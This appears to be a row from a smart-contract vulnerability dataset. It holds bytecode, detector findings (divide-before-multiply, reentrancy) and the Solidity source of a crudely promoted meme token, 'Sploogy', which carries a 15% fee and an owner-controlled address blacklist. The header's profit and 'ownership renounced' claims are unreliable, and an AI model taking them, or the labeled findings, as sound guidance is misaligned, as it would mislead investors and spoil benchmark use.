05546000838152600b60205260408120600101549091906114cb904290611744565b1115611519576000838152600b6020526040902060028101546005546001909201546114fb92610b7f919061178f565b6000848152600b602052604090206000196001909101559050611539565b6000838152600b6020526040902060020154611536904290611744565b90505b6000838152600b6020526040812042600282015560055490546115619190610bce90856117e9565b905060008093505b600a5484101561163d576115b9600754610bce60086000600a898154811061158d57fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205485906117e9565b90506115fb8160096000600a88815481106115d057fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020549061178f565b60096000600a878154811061160c57fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205560019390930192611569565b8461164a575050506106eb565b5050600019909201915061148f565b60075481565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156116e55780601f106116ba576101008083540402835291602001916116e5565b820191906000526020600020905b8154815290600101906020018083116116c857829003601f168201915b505050505081565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b17905261173f9084906118e4565b505050565b600061178683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a9c565b90505b92915050565b600082820183811015611786576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000826117f857506000611789565b8282028284828161180557fe5b04146117865760405162461bcd60e51b8152600401808060200182810382526021815260200180611c686021913960400191505060405180910390fd5b600061178683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b33565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526118de9085906118e4565b50505050565b6118f6826001600160a01b0316611b98565b611947576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106119855780518252601f199092019160209182019101611966565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146119e7576040519150601f19603f3d011682016040523d82523d6000602084013e6119ec565b606091505b509150915081611a43576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156118de57808060200190516020811015611a5f57600080fd5b50516118de5760405162461bcd60e51b815260040180806020018281038252602a815260200180611c89602a913960400191505060405180910390fd5b60008184841115611b2b5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611af0578181015183820152602001611ad8565b50505050905090810190601f168015611b1d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183611b825760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611af0578181015183820152602001611ad8565b506000838581611b8e57fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708115801590611bcc5750808214155b949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611c1557805160ff1916838001178555611c42565b82800160010185558215611c42579182015b82811115611c42578251825591602001919060010190611c27565b50611c4e929150611c52565b5090565b5b80821115611c4e5760008155600101611c5356fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a264697066735822122011a7013d2263b73314060d0062ed7f8d7c5a1c1a3b85b28b6aa68b683db5257064736f6c63430007000033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 1,155 |
0x3f0a8497a4a6d6e255589f77c2e85dda7767f86c | /**
*Submitted for verification at Etherscan.io on 2021-06-15
*/
/*
╭━━━╮╱╱╭╮
┃╭━╮┃╱╱┃┃
┃╰━━┳━━┫┃╭━━┳━━┳━━┳╮╱╭╮
╰━━╮┃╭╮┃┃┃╭╮┃╭╮┃╭╮┃┃╱┃┃
┃╰━╯┃╰╯┃╰┫╰╯┃╰╯┃╰╯┃╰━╯┃
╰━━━┫╭━┻━┻━━┻━━┻━╮┣━╮╭╯
╱╱╱╱┃┃╱╱╱╱╱╱╱╱╱╭━╯┣━╯┃
╱╱╱╱╰╯╱╱╱╱╱╱╱╱╱╰━━┻━━╯
https://t.me/Sploogy
Meet Sploogy!
The happiest little CumGhost!
Sploogy is on the Ethereum network, and creams everything he touches with profit.
Liquidity locked, ownership renounced. Earn rewards holding.
No Team Tokens for Sploogy! No bots! Slippage 16%
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Sploogy is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "t.me/Sploogy";
string private constant _symbol = 'SPLOOGY';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 1;
uint256 private _teamFee = 14;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 4250000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146103c2578063c3c8cd8014610472578063c9567bf914610487578063d543dbeb1461049c578063dd62ed3e146104c657610114565b8063715018a61461032e5780638da5cb5b1461034357806395d89b4114610374578063a9059cbb1461038957610114565b8063273123b7116100dc578063273123b71461025a578063313ce5671461028f5780635932ead1146102ba5780636fc3eaec146102e657806370a08231146102fb57610114565b806306fdde0314610119578063095ea7b3146101a357806318160ddd146101f057806323b872dd1461021757610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610501565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610168578181015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101af57600080fd5b506101dc600480360360408110156101c657600080fd5b506001600160a01b038135169060200135610527565b604080519115158252519081900360200190f35b3480156101fc57600080fd5b50610205610545565b60408051918252519081900360200190f35b34801561022357600080fd5b506101dc6004803603606081101561023a57600080fd5b506001600160a01b03813581169160208101359091169060400135610552565b34801561026657600080fd5b5061028d6004803603602081101561027d57600080fd5b50356001600160a01b03166105d9565b005b34801561029b57600080fd5b506102a4610652565b6040805160ff9092168252519081900360200190f35b3480156102c657600080fd5b5061028d600480360360208110156102dd57600080fd5b50351515610657565b3480156102f257600080fd5b5061028d6106cd565b34801561030757600080fd5b506102056004803603602081101561031e57600080fd5b50356001600160a01b0316610701565b34801561033a57600080fd5b5061028d61076b565b34801561034f57600080fd5b5061035861080d565b604080516001600160a01b039092168252519081900360200190f35b34801561038057600080fd5b5061012e61081c565b34801561039557600080fd5b506101dc600480360360408110156103ac57600080fd5b506001600160a01b03813516906020013561083d565b3480156103ce57600080fd5b5061028d600480360360208110156103e557600080fd5b81019060208101813564010000000081111561040057600080fd5b82018360208201111561041257600080fd5b8035906020019184602083028401116401000000008311171561043457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610851945050505050565b34801561047e57600080fd5b5061028d610905565b34801561049357600080fd5b5061028d610942565b3480156104a857600080fd5b5061028d600480360360208110156104bf57600080fd5b5035610d29565b3480156104d257600080fd5b50610205600480360360408110156104e957600080fd5b506001600160a01b0381358116916020013516610e2e565b60408051808201909152600c81526b742e6d652f53706c6f6f677960a01b602082015290565b600061053b610534610e59565b8484610e5d565b5060015b92915050565b683635c9adc5dea0000090565b600061055f848484610f49565b6105cf8461056b610e59565b6105ca85604051806060016040528060288152602001611fc0602891396001600160a01b038a166000908152600460205260408120906105a9610e59565b6001600160a01b03168152602081019190915260400160002054919061131f565b610e5d565b5060019392505050565b6105e1610e59565b6000546001600160a01b03908116911614610631576040805162461bcd60e51b81526020600482018190526024820152600080516020611fe8833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600990565b61065f610e59565b6000546001600160a01b039081169116146106af576040805162461bcd60e51b81526020600482018190526024820152600080516020611fe8833981519152604482015290519081900360640190fd5b60138054911515600160b81b0260ff60b81b19909216919091179055565b6010546001600160a01b03166106e1610e59565b6001600160a01b0316146106f457600080fd5b476106fe816113b6565b50565b6001600160a01b03811660009081526006602052604081205460ff161561074157506001600160a01b038116600090815260036020526040902054610766565b6001600160a01b0382166000908152600260205260409020546107639061143b565b90505b919050565b610773610e59565b6000546001600160a01b039081169116146107c3576040805162461bcd60e51b81526020600482018190526024820152600080516020611fe8833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60408051808201909152600781526653504c4f4f475960c81b602082015290565b600061053b61084a610e59565b8484610f49565b610859610e59565b6000546001600160a01b039081169116146108a9576040805162461bcd60e51b81526020600482018190526024820152600080516020611fe8833981519152604482015290519081900360640190fd5b60005b8151811015610901576001600760008484815181106108c757fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556001016108ac565b5050565b6010546001600160a01b0316610919610e59565b6001600160a01b03161461092c57600080fd5b600061093730610701565b90506106fe8161149b565b61094a610e59565b6000546001600160a01b0390811691161461099a576040805162461bcd60e51b81526020600482018190526024820152600080516020611fe8833981519152604482015290519081900360640190fd5b601354600160a01b900460ff16156109f9576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905590610a429030906001600160a01b0316683635c9adc5dea00000610e5d565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a7b57600080fd5b505afa158015610a8f573d6000803e3d6000fd5b505050506040513d6020811015610aa557600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610af557600080fd5b505afa158015610b09573d6000803e3d6000fd5b505050506040513d6020811015610b1f57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610b7157600080fd5b505af1158015610b85573d6000803e3d6000fd5b505050506040513d6020811015610b9b57600080fd5b5051601380546001600160a01b0319166001600160a01b039283161790556012541663f305d7194730610bcd81610701565b600080610bd861080d565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610c4357600080fd5b505af1158015610c57573d6000803e3d6000fd5b50505050506040513d6060811015610c6e57600080fd5b505060138054673afb087b8769000060145563ff0000ff60a01b1960ff60b01b19909116600160b01b1716600160a01b17908190556012546040805163095ea7b360e01b81526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610cfa57600080fd5b505af1158015610d0e573d6000803e3d6000fd5b505050506040513d6020811015610d2457600080fd5b505050565b610d31610e59565b6000546001600160a01b03908116911614610d81576040805162461bcd60e51b81526020600482018190526024820152600080516020611fe8833981519152604482015290519081900360640190fd5b60008111610dd6576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b610df46064610dee683635c9adc5dea0000084611669565b906116c2565b601481905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610ea25760405162461bcd60e51b81526004018080602001828103825260248152602001806120566024913960400191505060405180910390fd5b6001600160a01b038216610ee75760405162461bcd60e51b8152600401808060200182810382526022815260200180611f7d6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610f8e5760405162461bcd60e51b81526004018080602001828103825260258152602001806120316025913960400191505060405180910390fd5b6001600160a01b038216610fd35760405162461bcd60e51b8152600401808060200182810382526023815260200180611f306023913960400191505060405180910390fd5b600081116110125760405162461bcd60e51b81526004018080602001828103825260298152602001806120086029913960400191505060405180910390fd5b61101a61080d565b6001600160a01b0316836001600160a01b031614158015611054575061103e61080d565b6001600160a01b0316826001600160a01b031614155b156112c257601354600160b81b900460ff161561114e576001600160a01b038316301480159061108d57506001600160a01b0382163014155b80156110a757506012546001600160a01b03848116911614155b80156110c157506012546001600160a01b03838116911614155b1561114e576012546001600160a01b03166110da610e59565b6001600160a01b0316148061110957506013546001600160a01b03166110fe610e59565b6001600160a01b0316145b61114e576040805162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015290519081900360640190fd5b60145481111561115d57600080fd5b6001600160a01b03831660009081526007602052604090205460ff1615801561119f57506001600160a01b03821660009081526007602052604090205460ff16155b6111a857600080fd5b6013546001600160a01b0384811691161480156111d357506012546001600160a01b03838116911614155b80156111f857506001600160a01b03821660009081526005602052604090205460ff16155b801561120d5750601354600160b81b900460ff165b15611255576001600160a01b038216600090815260086020526040902054421161123657600080fd5b6001600160a01b0382166000908152600860205260409020601e420190555b600061126030610701565b601354909150600160a81b900460ff1615801561128b57506013546001600160a01b03858116911614155b80156112a05750601354600160b01b900460ff165b156112c0576112ae8161149b565b4780156112be576112be476113b6565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061130457506001600160a01b03831660009081526005602052604090205460ff165b1561130d575060005b61131984848484611704565b50505050565b600081848411156113ae5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561137357818101518382015260200161135b565b50505050905090810190601f1680156113a05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6010546001600160a01b03166108fc6113d08360026116c2565b6040518115909202916000818181858888f193505050501580156113f8573d6000803e3d6000fd5b506011546001600160a01b03166108fc6114138360026116c2565b6040518115909202916000818181858888f19350505050158015610901573d6000803e3d6000fd5b6000600a5482111561147e5760405162461bcd60e51b815260040180806020018281038252602a815260200180611f53602a913960400191505060405180910390fd5b6000611488611820565b905061149483826116c2565b9392505050565b6013805460ff60a81b1916600160a81b179055604080516002808252606080830184529260208301908036833701905050905030816000815181106114dc57fe5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561153057600080fd5b505afa158015611544573d6000803e3d6000fd5b505050506040513d602081101561155a57600080fd5b505181518290600190811061156b57fe5b6001600160a01b0392831660209182029290920101526012546115919130911684610e5d565b60125460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b838110156116175781810151838201526020016115ff565b505050509050019650505050505050600060405180830381600087803b15801561164057600080fd5b505af1158015611654573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6000826116785750600061053f565b8282028284828161168557fe5b04146114945760405162461bcd60e51b8152600401808060200182810382526021815260200180611f9f6021913960400191505060405180910390fd5b600061149483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611843565b80611711576117116118a8565b6001600160a01b03841660009081526006602052604090205460ff16801561175257506001600160a01b03831660009081526006602052604090205460ff16155b15611767576117628484846118da565b611813565b6001600160a01b03841660009081526006602052604090205460ff161580156117a857506001600160a01b03831660009081526006602052604090205460ff165b156117b857611762848484